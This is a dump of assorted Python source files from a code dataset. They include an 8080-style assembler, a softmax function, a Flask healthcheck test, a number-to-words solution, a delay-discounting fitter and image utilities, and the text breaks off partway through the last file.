str(instruction[x][1])\r\n\t\t\tif ParsedLabel and ParsedLabel in bit and \"DW\" in ParsedOpCode.upper():\r\n\t\t\t\tParsedBits[i] = str(instruction[x][6])[2:]\r\n\tfor i in range(0,len(ParsedBits)):\r\n\t\treturnStr += str(ParsedBits[i])+\" \"\r\n\treturn returnStr\r\nopCodes = [\r\n\t\t[[\"6\"],[\"MOV A,A\"]],[[\"8\"],[\"MOV A,B\"]],[[\"a\"],[\"MOV A,C\"]],\r\n\t\t[[\"c\"],[\"MOV A,D\"]],[[\"e\"],[\"MOV A,E\"]],[[\"10\"],[\"MOV A,H\"]],\r\n\t\t[[\"12\"],[\"MOV A,L\"]],[[\"14\"],[\"MOV A,M\"]],[[\"17\"],[\"MOV B,A\"]],\r\n\t\t[[\"19\"],[\"MOV B,B\"]],[[\"1b\"],[\"MOV B,C\"]],[[\"1d\"],[\"MOV B,D\"]],\r\n\t\t[[\"1f\"],[\"MOV B,E\"]],[[\"21\"],[\"MOV B,H\"]],[[\"23\"],[\"MOV B,L\"]],\r\n\t\t[[\"25\"],[\"MOV B,M\"]],[[\"28\"],[\"MOV C,A\"]],[[\"2a\"],[\"MOV C,B\"]],\r\n\t\t[[\"2c\"],[\"MOV C,C\"]],[[\"2e\"],[\"MOV C,D\"]],[[\"30\"],[\"MOV C,E\"]],\r\n\t\t[[\"32\"],[\"MOV C,L\"]],[[\"34\"],[\"MOV C,H\"]],[[\"36\"],[\"MOV C,M\"]],\r\n\t\t[[\"39\"],[\"MOV D,A\"]],[[\"3b\"],[\"MOV D,B\"]],[[\"3d\"],[\"MOV D,C\"]],\r\n\t\t[[\"3f\"],[\"MOV D,D\"]],[[\"41\"],[\"MOV D,E\"]],[[\"43\"],[\"MOV D,L\"]],\r\n\t\t[[\"45\"],[\"MOV D,H\"]],[[\"47\"],[\"MOV D,M\"]],[[\"4a\"],[\"MOV E,A\"]],\r\n\t\t[[\"4c\"],[\"MOV E,B\"]],[[\"4e\"],[\"MOV E,C\"]],[[\"50\"],[\"MOV E,D\"]],\r\n\t\t[[\"52\"],[\"MOV E,E\"]],[[\"54\"],[\"MOV E,L\"]],[[\"56\"],[\"MOV E,H\"]],\r\n\t\t[[\"58\"],[\"MOV E,M\"]],[[\"5b\"],[\"MOV L,A\"]],[[\"5d\"],[\"MOV L,B\"]],\r\n\t\t[[\"5f\"],[\"MOV L,C\"]],[[\"61\"],[\"MOV L,D\"]],[[\"63\"],[\"MOV L,E\"]],\r\n\t\t[[\"65\"],[\"MOV L,H\"]],[[\"67\"],[\"MOV L,L\"]],[[\"69\"],[\"MOV L,M\"]],\r\n\t\t[[\"6c\"],[\"MOV H,A\"]],[[\"6e\"],[\"MOV H,B\"]],[[\"70\"],[\"MOV H,C\"]],\r\n\t\t[[\"72\"],[\"MOV H,D\"]],[[\"74\"],[\"MOV H,E\"]],[[\"76\"],[\"MOV H,L\"]],\r\n\t\t[[\"78\"],[\"MOV H,H\"]],[[\"7a\"],[\"MOV H,M\"]],[[\"7d\"],[\"MOV M,A\"]],\r\n\t\t[[\"80\"],[\"MOV M,B\"]],[[\"83\"],[\"MOV M,C\"]],[[\"86\"],[\"MOV M,D\"]],\r\n\t\t[[\"89\"],[\"MOV M,E\"]],[[\"8c\"],[\"MOV M,L\"]],[[\"8f\"],[\"MOV M,H\"]],\r\n\t\t[[\"92\"],[\"MVI A,dd\"]],[[\"95\"],[\"MVI B,dd\"]],[[\"98\"],[\"MVI C,dd\"]],\r\n\t\t[[\"301\"],[\"MVI D,dd\"]],[[\"9e\"],[\"MVI E,dd\"]],[[\"a1\"],[\"MVI H,dd\"]],\r\n\t\t[[\"a4\"],[\"MVI L,dd\"]],[[\"a7\"],[\"LXI B,dddd\"]],[[\"ac\"],[\"LXI D,dddd\"]],\r\n\t\t[[\"b6\"],[\"LDAX B\"]],[[\"b9\"],[\"LDAX D\"]],[[\"bc\"],[\"LHLD\"]],\r\n\t\t[[\"b1\"],[\"LXI H,dddd\"]],[[\"c3\"],[\"LD A,aa\"]],[[\"c6\"],[\"ST A,aa\"]],\r\n\t\t[[\"cb\"],[\"ATAX B\"]],[[\"c7\"],[\"ATAX D\"]],[[\"ce\"],[\"SHLD\"]],\r\n\t\t[[\"e1\"],[\"XCHG\"]],[[\"de\"],[\"ADD A\"]],[[\"e1\"],[\"ADD B\"]],\r\n\t\t[[\"e4\"],[\"ADD C\"]],[[\"e7\"],[\"ADD D\"]],[[\"ea\"],[\"ADD E\"]],\r\n\t\t[[\"ed\"],[\"ADD H\"]],[[\"f0\"],[\"ADD L\"]],[[\"f3\"],[\"ADD M\"]],\r\n\t\t[[\"03\"],[\"NOP\"]],[[\"05\"],[\"HULT\"]],[[\"da\"],[\"STC\"]],[[\"dc\"],[\"CMC\"]],\r\n\t\t[[\"f7\"],[\"ADC A\"]],[[\"fb\"],[\"ADC B\"]],[[\"ff\"],[\"ADC C\"]],[[\"103\"],[\"ADC D\"]],\r\n\t\t[[\"107\"],[\"ADC E\"]],[[\"10b\"],[\"ADC H\"]],[[\"10f\"],[\"ADC L\"]],[[\"113\"],[\"ADC M\"]],\r\n\t\t[[\"11b\"],[\"SUB B\"]],[[\"11e\"],[\"SUB C\"]],[[\"121\"],[\"SUB D\"]],[[\"124\"],[\"SUB E\"]],\r\n\t\t[[\"127\"],[\"SUB H\"]],[[\"12a\"],[\"SUB L\"]],[[\"12d\"],[\"SUB M\"]],[[\"131\"],[\"SBB A\"]],\r\n\t\t[[\"135\"],[\"SBB B\"]],[[\"139\"],[\"SBB C\"]],[[\"13d\"],[\"SBB D\"]],[[\"141\"],[\"SBB E\"]],\r\n\t\t[[\"145\"],[\"SBB H\"]],[[\"149\"],[\"SBB L\"]],[[\"14d\"],[\"DAD M\"]],[[\"118\"],[\"SUB A\"]],\r\n\t\t[[\"152\"],[\"DAD B\"]],[[\"159\"],[\"DAD D\"]],[[\"160\"],[\"DAD H\"]],[[\"167\"],[\"ADI\"]],\r\n\t\t[[\"16b\"],[\"ACI\"]],[[\"170\"],[\"SUI\"]],[[\"174\"],[\"SBI\"]],[[\"179\"],[\"DAA\"]],\r\n\t\t[[\"194\"],[\"XRA A\"]],[[\"197\"],[\"XRA B\"]],[[\"19a\"],[\"XRA C\"]],[[\"19d\"],[\"XRA D\"]],\r\n\t\t[[\"1a0\"],[\"XRA E\"]],[[\"13a\"],[\"XRA H\"]],[[\"1a6\"],[\"XRA L\"]],[[\"1a9\"],[\"XRA M\"]],\r\n\t\t[[\"1ad\"],[\"ORA A\"]],[[\"1b0\"],[\"ORA B\"]],[[\"1b3\"],[\"ORA C\"]],[[\"1b6\"],[\"ORA D\"]],\r\n\t\t[[\"1b9\"],[\"ORA E\"]],[[\"1bc\"],[\"ORA H\"]],[[\"1bf\"],[\"ORA L\"]],[[\"1c2\"],[\"ORA M\"]],\r\n\t\t[[\"17b\"],[\"AND A\"]],[[\"17e\"],[\"AND B\"]],[[\"181\"],[\"AND C\"]],[[\"184\"],[\"AND D\"]],\r\n\t\t[[\"187\"],[\"AND E\"]],[[\"18a\"],[\"AND H\"]],[[\"18d\"],[\"AND L\"]],[[\"190\"],[\"AND M\"]],\r\n\t\t[[\"1c6\"],[\"ANI\"]],[[\"1ca\"],[\"XRI\"]],[[\"1ce\"],[\"ORI\"]],[[\"1d2\"],[\"CMA\"]],\r\n\t\t[[\"1d4\"],[\"RLC\"]],[[\"1d8\"],[\"RRC\"]],[[\"1dc\"],[\"RAR\"]],[[\"1de\"],[\"RAL\"]],\r\n\t\t[[\"1e0\"],[\"INR A\"]],[[\"1e2\"],[\"INR B\"]],[[\"1e4\"],[\"INR C\"]],[[\"1e6\"],[\"INR D\"]],\r\n\t\t[[\"1e8\"],[\"INR E\"]],[[\"1ea\"],[\"INR H\"]],[[\"1ec\"],[\"INR L\"]],[[\"1fc\"],[\"INR M\"]],\r\n\t\t[[\"1ee\"],[\"DCR A\"]],[[\"1f0\"],[\"DCR B\"]],[[\"1f2\"],[\"DCR C\"]],[[\"1f4\"],[\"DCR D\"]],\r\n\t\t[[\"1f6\"],[\"DCR E\"]],[[\"1f8\"],[\"DCR H\"]],[[\"1fa\"],[\"DCR L\"]],[[\"201\"],[\"DCR M\"]],\r\n\t\t[[\"206\"],[\"INX B\"]],[[\"209\"],[\"INX D\"]],[[\"20c\"],[\"INX H\"]],[[\"20f\"],[\"DCX B\"]],\r\n\t\t[[\"212\"],[\"DCX D\"]],[[\"215\"],[\"DCX H\"]],[[\"218\"],[\"JMP\"]],[[\"21a\"],[\"PCHL\"]],\r\n\t\t[[\"21d\"],[\"CMP A\"]],[[\"220\"],[\"CMP B\"]],[[\"223\"],[\"CMP C\"]],[[\"226\"],[\"CMP D\"]],\r\n\t\t[[\"229\"],[\"CMP E\"]],[[\"22c\"],[\"CMP H\"]],[[\"22f\"],[\"CMP L\"]],[[\"232\"],[\"CMP M\"]],[[\"236\"],[\"CPI\"]],\r\n\t\t[[\"23d\"],[\"JNZ\"]],[[\"23a\"],[\"JZ\"]],[[\"240\"],[\"JNC\"]],[[\"243\"],[\"JC\"]],\r\n\t\t[[\"246\"],[\"JPO\"]],[[\"249\"],[\"JPE\"]],[[\"24c\"],[\"JP\"]],[[\"24f\"],[\"JM\"]],\r\n\t\t[[\"252\"],[\"CALL\"]],[[\"258\"],[\"CNZ\"]],[[\"25f\"],[\"CZ\"]],[[\"266\"],[\"CC\"]],\r\n\t\t[[\"26d\"],[\"CNC\"]],[[\"274\"],[\"CPE\"]],[[\"27b\"],[\"CPO\"]],[[\"282\"],[\"CP\"]],[[\"281\"],[\"CM\"]],\t\t\r\n\t\t[[\"290\"],[\"RET\"]],[[\"293\"],[\"RNZ\"]],[[\"297\"],[\"RZ\"]],[[\"29b\"],[\"RC\"]],\r\n\t\t[[\"29f\"],[\"RNC\"]],[[\"2a3\"],[\"RPE\"]],[[\"2a7\"],[\"RPO\"]],[[\"2ab\"],[\"RP\"]],[[\"2af\"],[\"RM\"]],\r\n\t\t[[\"2b3\"],[\"LXI SP,dddd\"]],[[\"2b6\"],[\"DAD SP\"]],[[\"2b9\"],[\"INX SP\"]],[[\"2bb\"],[\"DCX SP\"]],\r\n\t\t[[\"2bd\"],[\"PUSH B\"]],[[\"2c4\"],[\"PUSH D\"]],[[\"2cb\"],[\"PUSH H\"]],[[\"2d3\"],[\"PUSH PSW\"]],[[\"2da\"],[\"POP B\"]],\r\n\t\t[[\"2df\"],[\"POP D\"]],[[\"2e4\"],[\"POP H\"]],[[\"2e9\"],[\"POP PSW\"]],[[\"2ee\"],[\"XTHL\"]],\r\n\t\t[[\"2f7\"],[\"SPHL\"]],[[\"2f9\"],[\"IN1\"]],[[\"2fb\"],[\"IN2\"]],[[\"2fd\"],[\"OUT1\"]],[[\"2ff\"],[\"OUT2\"]],[[\"301\"],[\"ORG\"]],[[\"\"],[\"DW\"]],\r\n\t\t]\t\t\t\t\r\n\r\n\t\t\r\n\r\n\r\nfile = open(sys.argv[1])\r\nparsedInstruction = []\r\nfinalOut = \"\"\r\nprogramCodeString = file.read()\r\nCodes = programCodeString.split(\"\\n\")\r\nrefindProgramCode = []\t\r\n\r\n\r\nfor i in range(0, len(Codes)):\r\n\tif Codes[i]:\r\n\t\trefindProgramCode.append(Codes[i].strip())\r\nfor i in range(0, len(refindProgramCode)):\r\n\tif instructionParse(refindProgramCode[i]):\r\n\t\tparsedInstruction.append(GetMachineCode(instructionParse(refindProgramCode[i]),opCodes))\r\n\t\t\r\ncheckForMatchingLabel(parsedInstruction)\r\ngetNumberOfBitInInstruction(parsedInstruction)\r\nassignMemoryAddress(parsedInstruction)\r\nlink(parsedInstruction)\r\nfinalOut=assemble(parsedInstruction)\r\nfinalOut=linkDW(parsedInstruction,finalOut)\r\nprintInstruction(parsedInstruction)\t\r\nfinalOut=\"v2.0 raw\\n\"+finalOut\r\nprint(finalOut)\r\n\r\nf= open(\"/16-bitProcessor.txt\",\"w+\")\r\nf.write(finalOut)\r\nf.close() ","sub_path":"assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":11473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"479246906","text":"#!/usr/bin/env/python3\nimport re\nfrom collections import defaultdict\nm = open(\"ze7.1.2addF_HGT.out\", \"r\")\nq = open(\"ze7.1.2a_putaHGTKey.txt\",\"w\")\n\ndict = defaultdict(set)\nfor line in m:\n\tif line.startswith(\"gi\"):\n\n\t\tquery = line.split(\"\\t\")[0]\n\t\tsubject = line.split(\"\\t\")[1]\n\t\tdict[query].add(subject)\n'''for key in dict.keys():\n#\tfor items in dict[key]:\n\tn.write(key + \"\\n\")\n\t'''\n#keyList = dict.keys()\n#print(dict.keys())\nfor key in dict.keys():\n\tq.write(key + \"\\n\")\n\t","sub_path":"printKey.py","file_name":"printKey.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"457536653","text":"\"\"\"Convenience wrapper for loading the available feed handlers into a \nmapping object.\"\"\"\n\nimport pkg_resources\n\n_HANDLERS = None\n\ndef get():\n \"\"\"Lazily load the available handlers.\"\"\"\n \n global _HANDLERS\n\n if _HANDLERS is None:\n _HANDLERS = {}\n for e in pkg_resources.iter_entry_points('cc.aggregator'):\n _HANDLERS[e.name] = e\n\n return _HANDLERS\n","sub_path":"aggregator/src/aggregator/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"465748708","text":"import unittest\n\nimport flask\nfrom healthcheck import HealthCheck\nfrom outfit.utils.db_status import MongoLib\nfrom outfit.utils.healtchcheck import HealthcheckList\nfrom outfit.utils.logger import Logger\n\n\nclass BasicHealthCheckTest(unittest.TestCase):\n\n def setUp(self):\n self.path = '/healthcheck'\n self.path2 = '/healthcheck_200'\n self.app = flask.Flask(__name__)\n self.app2 = flask.Flask(__name__)\n\n self.hc = HealthCheck()\n self.hc2 = HealthCheck()\n\n self.client = self.app.test_client()\n self.client2 = self.app2.test_client()\n dbmongo = None\n service_enum = {\n 'mongoengine': {\n 'connection': dbmongo,\n 'lib_list': [MongoLib.MONGOENGINE]\n }\n }\n \n self.hc = HealthcheckList.setup(healthcheck = self.hc, service_list = service_enum)\n\n self.app.add_url_rule(self.path, view_func=lambda: self.hc.run())\n self.app2.add_url_rule(self.path2, view_func=lambda: self.hc2.run())\n\n\n\n def test_basic_check_success(self):\n response = self.client2.get(self.path2)\n self.assertEqual(200, response.status_code)\n\n\n def test_basic_check(self):\n response = self.client.get(self.path2)\n Logger.info(response)\n self.assertEqual(404, response.status_code)\n\n def test_failing_check(self):\n def fail_check():\n return False, \"FAIL\"\n\n self.hc2.add_check(fail_check)\n response = self.client2.get(self.path2)\n self.assertEqual(500, response.status_code)\n\n respon = flask.json.loads(response.data)\n self.assertEqual(\"failure\", respon[\"status\"])\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"tests/test_healthcheck.py","file_name":"test_healthcheck.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"231104060","text":"from typing import List\n\n\nclass Solution:\n def numberToWords(self, num: int) -> str:\n ones = [\"Zero\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\"]\n ndigits = {3: \"Thousand\", 6: \"Million\", 9: \"Billion\", 12: \"Trillion\", 15: \"Quadrillion\", 18: \"Quintillion\", 21: \"Sextillion\", 24: \"Septillion\", 27: \"Octillion\", 30: \"Nonillion\"}\n num_s = str(num)\n words = []\n if len(num_s) == 1 and num_s == \"0\":\n return \"Zero\"\n\n if len(num_s) > 3:\n digits = len(num_s)\n\n haha = len(num_s)%3\n if haha != 0:\n part = int(num_s[0:haha])\n num_s = num_s[haha:]\n words += self.get_less_than_thousand_in_words(part)\n\n for xx in reversed(range(3, digits+1, 3)):\n part = int(num_s[0:3])\n # words.append(ones[int(num_s[0])])\n num_s = num_s[3:]\n words.append(ndigits[xx])\n if part == 0:\n continue\n words += self.get_less_than_thousand_in_words(part)\n\n words2 = self.get_less_than_thousand_in_words(num)\n return \" \".join(words + words2)\n\n def get_less_than_thousand_in_words(self, num: int) -> List[str]:\n ones = [\"Zero\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\"]\n tens = [\"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\"]\n twodigits = [\"xxx\", \"xxx\", \"Twenty\", \"Thirty\", \"Forty\", \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\"]\n words = []\n\n arr = [int(x) for x in str(num)]\n\n # word = \"\"\n if len(arr) == 3:\n # word += f\"{ones[arr[0]]} Hundred \"\n words.append(ones[arr[0]])\n words.append(\"Hundred\")\n arr.pop(0)\n\n if len(arr) == 2:\n if arr[0] != 0:\n twodigit = int(f\"{arr[0]}{arr[1]}\")\n if twodigit > 19:\n # word += f\"{twodigits[arr[0]]} \"\n words.append(twodigits[arr[0]])\n if arr[1] != 0:\n # word += ones[arr[1]]\n words.append(ones[arr[1]])\n arr.pop(0)\n elif 19 >= twodigit >= 10:\n # word += f\"{tens[arr[1]]}\"\n words.append(tens[arr[1]])\n return words\n elif arr[1] != 0:\n # word += ones[arr[1]]\n words.append(ones[arr[1]])\n return words\n\n if len(arr) == 1 and arr[0] != 0:\n words.append(ones[arr[0]])\n return words\n\n return words\n\n\nif __name__ == \"__main__\":\n s = Solution()\n # print(s.numberToWords(123))\n # print(s.numberToWords(587))\n # print(s.numberToWords(12))\n # print(s.numberToWords(21))\n # print(s.numberToWords(105))\n # print(s.numberToWords(100))\n # print(s.numberToWords(119))\n # print(s.numberToWords(5))\n # print(s.numberToWords(11234567))\n # print(s.numberToWords(0))\n # print(s.numberToWords(1234567890))\n # print(s.numberToWords(2000001))\n print(s.numberToWords(1000))\n print(s.numberToWords(100000))\n","sub_path":"leetcode/p0273_integer_to_english_words/my_attempt.py","file_name":"my_attempt.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"75769280","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2013 - 2020 Detlev Offenbach <detlev@die-offenbachs.de>\n#\n\n\"\"\"\nScript to find the cxfreeze directory from running Python interpreter.\n\"\"\"\n\nimport os\nimport sys\n\nfor sysPath in sys.path:\n modpath = os.path.join(sysPath, \"cx_Freeze\")\n if os.path.exists(modpath):\n print(modpath) # __IGNORE_WARNING_M801__\n break\n","sub_path":"CxFreeze/CxfreezeFindPath.py","file_name":"CxfreezeFindPath.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"304394228","text":"import numpy as np\nimport math\n\n# Write a function that takes as input a list of numbers, and returns\n# the list of values given by the softmax function.\ndef getSumOfEuler(L):\n sum = 0\n for i in L:\n sum += math.exp(i)\n return sum\n \ndef softmax(L):\n sum = getSumOfEuler(L)\n list = []\n for i in L:\n value = math.exp(i) / sum\n list.append(value)\n return list\n","sub_path":"Part_02_Neural_Networks/softmax.py","file_name":"softmax.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"108064820","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 16 14:19:34 2014\n\nUsage: [k, m, LL] = FitK(data)\n\nReturns best fitting k for the discount function V=r/(1+kd).\nInput data must contain individual trials in rows with columns\n [r1 d1 r2 d2 choice]\nfor choices betwen r1 at delay d1 and r2 at delay d2. choice must\nbe 0 for choice of option (r1,d1) or 1 to indicate choice of (r2,d2).\nFitting is for maximum likelihood with a softmax function. m is the\nbest fitting slope of the softmax function. Larger values of m\nindicate a better quality fit. LL is the log-likelihood of the best fit. \nThis is useful for statistical analysis of the significance of fitted \nparameters (i.e. likelihood ratio test).\n\n@author: christianrodriguez \nCheck out:\nhttp://psych.stanford.edu/~dnl/\nhttp://en.wikipedia.org/wiki/Hyperbolic_discounting\n\n\"\"\"\n\ndef fitk(data):\n \n from scipy import optimize\n import numpy, math\n \n # make some shortcuts\n nprand = numpy.random.rand\n\n global d\n d = data\n LL = float('inf')\n \n # optimize parameters 100 times, using different starting points\n randstarts = 0\n while randstarts < 1000:\n \n # pick random initial values\n km0 = [nprand() * .02, nprand() * 2]\n \n opts = {'maxiter':10000}\n bnds = ((0,1), (0,200)) \n res = optimize.minimize(errorfit, km0, bounds=bnds, options=opts,\\\n method='L-BFGS-B') #method='L-BFGS-B' TNC\n \n # evaluate the softmax at the given values \n loglike = errorfit(res.x)\n\n # use the new values if the loglikelihood is decreased\n if loglike < LL and not(math.isinf(loglike)):\n km = res.x\n LL = loglike\n \n randstarts = randstarts + 1\n\n # output k, m, and loglikelihood\n return km[0], km[1], -1*LL, res\n\n# # make a summary plot\n# plotFit(km)\n\ndef errorfit(km):\n \n #d = fitkd\n '''\n Computes -1*loglikelihood of softmax fit assuming hyperbolic discounting.\n '''\n \n import numpy\n \n # make some shortcuts\n concat = numpy.concatenate\n nplog = numpy.log\n npexp = numpy.exp\n npnot = numpy.logical_not\n npsum = numpy.sum\n \n # discounted values based on current k guess\n V1 = d[:,0]/(1 + km[0]*d[:,1]) # Vss\n V2 = d[:,2]/(1 + km[0]*d[:,3]) # Vll\n \n # p of choosing ll (ll=2)\n pll = 1/(1+ npexp(-km[1]*(V2-V1))) \n \n # boolean of ll choices\n lls = d[:,4]==1 \n\n # penalize contradictions (ll and pll=0 or ss and pll=1)\n if 0 in pll[lls] or 1 in pll[npnot(lls)]:\n loglik = float('inf') # maximum float, avoids inf errors\n else:\n loglik = npsum( nplog( concat( ( pll[lls], 1-pll[npnot(lls)] ) ) ) )\n \n return -1*loglik\n\ndef plotfit(km):\n \n #d = fitkd\n '''\n Make various fit diagnostic plots.\n '''\n \n import numpy\n import matplotlib.pyplot as plt\n \n # make some shortcuts\n npmax = numpy.amax\n plot = plt.plot\n subplot = plt.subplot\n nparray = numpy.array\n nprange = numpy.arange\n axis = plt.axis\n npmin = numpy.amin\n npexp = numpy.exp\n\n\n # get range of x axis\n maxd1 = npmax(d[:,1])\n maxd2 = npmax(d[:,3])\n mind1 = npmin(d[:,1])\n mind2 = npmin(d[:,3])\n mind = npmin(nparray([mind1, mind2]))\n maxd = npmax(nparray([maxd1, maxd2]));\n\n # make a smooth delay range from 0\n t = nprange(0, maxd, .1)\n\n # open a new figure\n plt.figure() \n \n subplot(1,3,1)\n plot(t, 1/(1+km[0]*t), '-k')\n plt.xlabel('t')\n plt.title('1/(1+kt)') #y.labels get crowded\n \n # make arrays of delays and discounted values\n ss = d[:,4] == 0\n delayss = (d[ss,1], d[ss,3])\n valss = ( d[ss,0]/(1+km[0]*d[ss,1]), d[ss,2]/(1+km[0]*d[ss,3]) ) \n ll = d[:,4] == 1\n delayll = (d[ll,1], d[ll,3])\n valll = ( d[ll,0]/(1+km[0]*d[ll,1]), d[ll,2]/(1+km[0]*d[ll,3]) ) \n \n subplot(1,3,2)\n plot( delayss, valss, 'o-r')\n axis([0, npmax(delayss), 0, npmax(valss)])\n plot( delayll, valll, 'o-b')\n axis([0, npmax(delayll), 0, npmax(valll)])\n plt.xlabel('t')\n plt.title('SV') #y.labels get crowded\n \n # discounted values based on current k guess\n V1 = d[:,0]/(1 + km[0]*d[:,1]) # Vss\n V2 = d[:,2]/(1 + km[0]*d[:,3]) # Vll\n netval = V2-V1\n \n # p of choosing ll (ll=2)\n pll = 1/(1+ npexp(-km[1]*(V2-V1))) \n \n subplot(1,3,3)\n plot( netval, pll, 'og')\n plot( netval[ss], d[ss,4], 'or')\n plot( netval[ll], d[ll,4], 'ob')\n plt.xlabel('V(ll)-V(ss)')\n plt.title('p(ll)') #y.labels get crowded\n","sub_path":"FitK.py","file_name":"FitK.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"233082861","text":"\"\"\"\nForked from site-packages/fcn/utils.py\n\"\"\"\nfrom __future__ import division\n\nimport math\nimport os\nimport warnings\nfrom os import path as osp\n\nimport scipy.misc\n\nimport instanceseg.utils.export\nfrom instanceseg.utils import instance_utils\n\ntry:\n import cv2\nexcept ImportError:\n cv2 = None\n\nimport numpy as np\nimport scipy.ndimage\nimport six\nimport skimage.color\n\nDEBUG_ASSERTS = True\n\n\n# -----------------------------------------------------------------------------\n# Chainer Util\n# -----------------------------------------------------------------------------\n\n\ndef batch_to_vars(batch, device=-1):\n import chainer\n from chainer import cuda\n in_arrays = [np.asarray(x) for x in zip(*batch)]\n if device >= 0:\n in_arrays = [cuda.to_gpu(x, device=device) for x in in_arrays]\n in_vars = [chainer.Variable(x) for x in in_arrays]\n return in_vars\n\n\n# -----------------------------------------------------------------------------\n# Color Util\n# -----------------------------------------------------------------------------\n\ndef bitget(byteval, idx):\n return ((byteval & (1 << idx)) != 0)\n\n\ndef labelcolormap(*args, **kwargs):\n warnings.warn('labelcolormap is renamed to label_colormap.',\n DeprecationWarning)\n return label_colormap(*args, **kwargs)\n\n\ndef label_colormap(N=256):\n cmap = np.zeros((N, 3))\n for i in six.moves.range(0, N):\n id = i\n r, g, b = 0, 0, 0\n for j in six.moves.range(0, 8):\n r = np.bitwise_or(r, (bitget(id, 0) << 7 - j))\n g = np.bitwise_or(g, (bitget(id, 1) << 7 - j))\n b = np.bitwise_or(b, (bitget(id, 2) << 7 - j))\n id = (id >> 3)\n cmap[i, 0] = r\n cmap[i, 1] = g\n cmap[i, 2] = b\n cmap = cmap.astype(np.float32) / 255\n return cmap\n\n\ndef visualize_labelcolormap(*args, **kwargs):\n warnings.warn(\n 'visualize_labelcolormap is renamed to visualize_label_colormap',\n DeprecationWarning)\n return visualize_label_colormap(*args, **kwargs)\n\n\ndef visualize_label_colormap(cmap):\n n_colors = len(cmap)\n ret = np.zeros((n_colors, 10 * 10, 3))\n for i in six.moves.range(n_colors):\n ret[i, ...] = cmap[i]\n return ret.reshape((n_colors * 10, 10, 3))\n\n\ndef get_label_colortable(n_labels, shape):\n if cv2 is None:\n raise RuntimeError('get_label_colortable requires OpenCV (cv2)')\n rows, cols = shape\n if rows * cols < n_labels:\n raise ValueError\n cmap = label_colormap(n_labels)\n table = np.zeros((rows * cols, 50, 50, 3), dtype=np.uint8)\n for lbl_id, color in enumerate(cmap):\n color_uint8 = (color * 255).astype(np.uint8)\n table[lbl_id, :, :] = color_uint8\n text = '{:<2}'.format(lbl_id)\n cv2.putText(table[lbl_id], text, (5, 35),\n cv2.cv.CV_FONT_HERSHEY_SIMPLEX, 0.8, (255, 255, 255), 3)\n table = table.reshape(rows, cols, 50, 50, 3)\n table = table.transpose(0, 2, 1, 3, 4)\n table = table.reshape(rows * 50, cols * 50, 3)\n return table\n\n\n# -----------------------------------------------------------------------------\n# Evaluation\n# -----------------------------------------------------------------------------\ndef _fast_hist(label_true, label_pred, n_class):\n mask = (label_true >= 0) & (label_true < n_class)\n hist = np.bincount(\n n_class * label_true[mask].astype(int) +\n label_pred[mask], minlength=n_class ** 2).reshape(n_class, n_class)\n return hist\n\n\ndef label_accuracy_score(label_trues, label_preds, n_class):\n \"\"\"Returns accuracy score evaluation result.\n\n - overall accuracy\n - mean accuracy\n - mean IU\n - fwavacc\n \"\"\"\n hist = np.zeros((n_class, n_class))\n for lt, lp in zip(label_trues, label_preds):\n hist += _fast_hist(lt.flatten(), lp.flatten(), n_class)\n acc = np.diag(hist).sum() / hist.sum()\n acc_cls = np.diag(hist) / hist.sum(axis=1)\n acc_cls = np.nanmean(acc_cls)\n iu = np.diag(hist) / (hist.sum(axis=1) + hist.sum(axis=0) - np.diag(hist))\n mean_iu = np.nanmean(iu)\n freq = hist.sum(axis=1) / hist.sum()\n fwavacc = (freq[freq > 0] * iu[freq > 0]).sum()\n return acc, acc_cls, mean_iu, fwavacc\n\n\n# -----------------------------------------------------------------------------\n# Visualization\n# -----------------------------------------------------------------------------\ndef centerize(src, dst_shape, margin_color=None):\n \"\"\"Centerize image for specified image size\n\n @param src: image to centerize\n @param dst_shape: image shape (height, width) or (height, width, channel)\n \"\"\"\n if src.shape[:2] == dst_shape[:2]:\n return src\n centerized = np.zeros(dst_shape, dtype=src.dtype)\n if margin_color:\n centerized[:, :] = margin_color\n pad_vertical, pad_horizontal = 0, 0\n h, w = src.shape[:2]\n dst_h, dst_w = dst_shape[:2]\n if h < dst_h:\n pad_vertical = (dst_h - h) // 2\n if w < dst_w:\n pad_horizontal = (dst_w - w) // 2\n centerized[pad_vertical:pad_vertical + h,\n pad_horizontal:pad_horizontal + w] = src\n return centerized\n\n\ndef _tile_images(imgs, tile_shape, concatenated_image):\n \"\"\"Concatenate images whose sizes are same.\n\n @param imgs: image list which should be concatenated\n @param tile_shape: shape for which images should be concatenated\n @param concatenated_image: returned image.\n if it is None, new image will be created.\n \"\"\"\n y_num, x_num = tile_shape\n one_width = imgs[0].shape[1]\n one_height = imgs[0].shape[0]\n if concatenated_image is None:\n if len(imgs[0].shape) == 3:\n concatenated_image = np.zeros(\n (one_height * y_num, one_width * x_num, 3), dtype=np.uint8)\n else:\n concatenated_image = np.zeros(\n (one_height * y_num, one_width * x_num), dtype=np.uint8)\n for y in six.moves.range(y_num):\n for x in 